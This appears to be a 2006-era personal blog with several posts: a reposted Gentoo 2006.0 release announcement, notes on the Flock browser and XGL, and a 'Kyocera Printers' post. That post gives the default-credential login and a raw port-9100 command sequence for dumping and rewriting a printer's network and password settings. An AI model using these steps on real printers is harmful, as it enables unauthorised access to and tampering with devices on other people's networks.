Trying a new blog posting tool (Deepest Sender plugin for firefox 1.5, i dropped flock)

Gentoo 2006.0 Released

The Gentoo Release Engineering team proudly announces the release of Gentoo Linux 2006.0. Gentoo Linux 2006.0, the first release in the 2006 series, represents improvements across many architectures since the 2005.1 release.Major highlights in the release include KDE 3.4.3, GNOME 2.12.2, XFCE 4.2.2, GCC 3.4.4 and a 2.6.15 kernel. This is also the first release with the Gentoo Linux Installer officially debuting on the x86 LiveCD, which will fully replace the Universal and PackageCD set. The LiveCD also features a fully-fledged Gnome environment. Later releases will include KDE support as well as a new LiveDVD.The PPC64 team has made significant improvements in its release media. IBM’s hardware donation to the team greatly helped this and ensured a smooth release. The CDs feature 64-bit kernels and 32-bit userlands rather than the previous pure 64-bit environment. Optimized stages are available for the G5 and POWER5 processors, making Gentoo the first distribution compile time optimized for the POWER5 processor via a power5 profile. The new release includes an experimental CD with full framebuffer support for dual-core G5 machines along with thermal management features. This makes Gentoo the first to market with release media with this level of support.PPC and PPC64 profiles received further reorganization. They now match those of other 32/64-bit architectures such as SPARC and MIPS, unifying the look of the tree and allowing easier creation of specific profiles (for example, for server use) in the future. The PPC discs improve support for newer Apple laptops such as the last series of PowerBooks, which 2005.1 did not support, and feature improved OldWorld support with BootX on the universal CDs. The PPC team now produces the PackageCDs in a G4 and a ppc-generic configuration, especially useful for older and slower machines.The Hardened team is pleased to release both 2.4 and 2.6 kernel targeted stages for the x86 platform. The previously experimental non-multilib AMD64 stages are now part of the 2006.0 release, while Hardened Gentoo with multilib on AMD64 has become possible and the team is releasing experimental stages.The 2006.0 AMD64 release moves EM64T support out of the experimental realm. The InstallCDs feature support for NVIDIA SATA and for SysKonnect Yukon2 network cards as well as the inclusion of 32-bit Java Support. An experimental LiveCD is also available, featuring the Gentoo Linux Installer.The Alpha team now provides split NPTL profiles as part of the 2006.0 release — NPTL must use a 2.6 kernel, and those who require a 2.4 kernel or do not wish to enable NPTL can use the no-nptl subprofile instead to not take advantage of the new threading model. Stage tarballs are now provided for both variants, and the InstallCD provides both 2.4 and 2.6 kernels.SPARC has moved to GCC 3.4.5 from the older 3.3 series and also to glibc 2.3.5 from 2.3.3 — the profile features a 2.6 kernel and headers. However, this feature remains experimental and the SPARC team built the release media with the 2.4 subprofile. Testing from SGI Quality Assurance allowed the IA64 team to update its InstallCD to boot on SGI Prism machines.Gentoo Linux is a community-driven project committed to producing a high-quality open source distribution; more information regarding this release, such as detailed release notes will be available on the Gentoo Release Engineering team’s project page.

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Kyocera Printers

Kyocera printers have various security flaws. Most of them can be telnetted to on the default port and accessed with the default username ‘admin’ and blank password. There is a very decent menu interface to change everything.

For the Kyocera 3830, which is a current model workgroup printer they disabled the telnetting to the default port for ’security’.
These printers, if they can be accessed, can provide up to around 100mb of storage, email facilities, networking information and various other details.

The 3830’s have a back door. Telnetting to port 9100 (the printer data port) allows you to send raw text to the printer, but if you drop the correct command in  at this point, you can get full access to the printers settings. So here we go.

Telnet to port 9100 of a 3830.

Drop in this command and save the output:

!R!SIOP0,”COMREADBACK:0″;EXIT;

This will give you output similar to this:

CMNT Offset 0x006a Size = 1 ; SIOP0,"CUSTOM:Network Status Page = 0";
CMNT Offset 0x006b Size = 1 ; SIOP0,"CUSTOM:TCP/IP BOOTP = 0";
CMNT Offset 0x006c Size = 1 ; SIOP0,"CUSTOM:TCP/IP Protocol = 1";
CMNT Offset 0x006d Size = 1 ; SIOP0,"CUSTOM:TCP/IP DHCP = 0";
CMNT Offset 0x006e Size = 1 ; SIOP0,"CUSTOM:RARP = 1";
CMNT Offset 0x006f Size = 1 ; SIOP0,"CUSTOM:ARP/PING = 1";
CMNT Offset 0x0070 Size = 4 ; SIOP0,"CUSTOM:IP Address = 172.16.1.212";
CMNT Offset 0x0074 Size = 4 ; SIOP0,"CUSTOM:Subnet Mask = 255.255.255.0";
CMNT Offset 0x0078 Size = 4 ; SIOP0,"CUSTOM:Default Gateway = 0.0.0.0";
CMNT Offset 0x007c Size = 256 ; SIOP0,"CUSTOM:Domain Name = ''";
CMNT Offset 0x017c Size = 4 ; SIOP0,"CUSTOM:DNS Server (Primary) = 0.0.0.0";
CMNT Offset 0x0180 Size = 4 ; SIOP0,"CUSTOM:DNS Server (Secondary) = 0.0.0.0";
CMNT Offset 0x0184 Size = 4 ; SIOP0,"CUSTOM:WINS Server (Primary) = 0.0.0.0";
CMNT Offset 0x0188 Size = 4 ; SIOP0,"CUSTOM:WINS Server (Secondary) = 0.0.0.0";
CMNT Offset 0x018c Size = 225 ; SIOP0,"CUSTOM:Scope ID = ''";
CMNT Offset 0x026d Size = 1 ; SIOP0,"CUSTOM:NetWare Protocol = 1";
CMNT Offset 0x026e Size = 1 ; SIOP0,"CUSTOM:Frame Type = 1";
CMNT Offset 0x026f Size = 1 ; SIOP0,"CUSTOM:Operation Mode = 1";
CMNT Offset 0x0270 Size = 32 ; SIOP0,"CUSTOM:Print Server Name = 'admin'";
CMNT Offset 0x0290 Size = 32 ; SIOP0,"CUSTOM:Login Password = ''";
CMNT Offset 0x02b0 Size = 2 ; SIOP0,"CUSTOM:Queue Polling Interval = 4";
CMNT Offset 0x02b2 Size = 1 ; SIOP0,"CUSTOM:NetWare Banner Page = 1";
CMNT Offset 0x02b3 Size = 1 ; SIOP0,"CUSTOM:Bindery Mode = 1";
CMNT Offset 0x02b4 Size = 32 ; SIOP0,"CUSTOM:File Server 1 = ''";

Now, if you want to change a setting just grab the part after the ‘offset ;’ section, insert your own text/ip address/whatever and throw it back on to the 9100 connection.

!R!SIOP0,”CUSTOM:LP1 End of Job String = ‘!R! RES; EXIT;’”;EXIT;

Your other option is to stick all the commands in a text file then do this from the unix prompt (without quotes):

lp -d”printername” “textfilename”

Done and done.

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NSA Spying!

The NSA is spying on millions, says whistleblower.

Well of course they are! If you think that you have privacy or freedom whilst living ‘on the grid’ you are ignorant.

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XGL

I got Novell’s XGL working. Awesome stuff. I have it all happening on my Gentoo laptop… wobbly, expose’(scale) etc etc… really cool. Not sure how to take screenshots though when it’s in gl-mode.

Flock again

Well flock is interesting.

It should integrate with 43 things, and provide more blog management at first looks…

Flock

Just installed the latest Flock on to my Gentoo laptop so I’m setting up various accounts…

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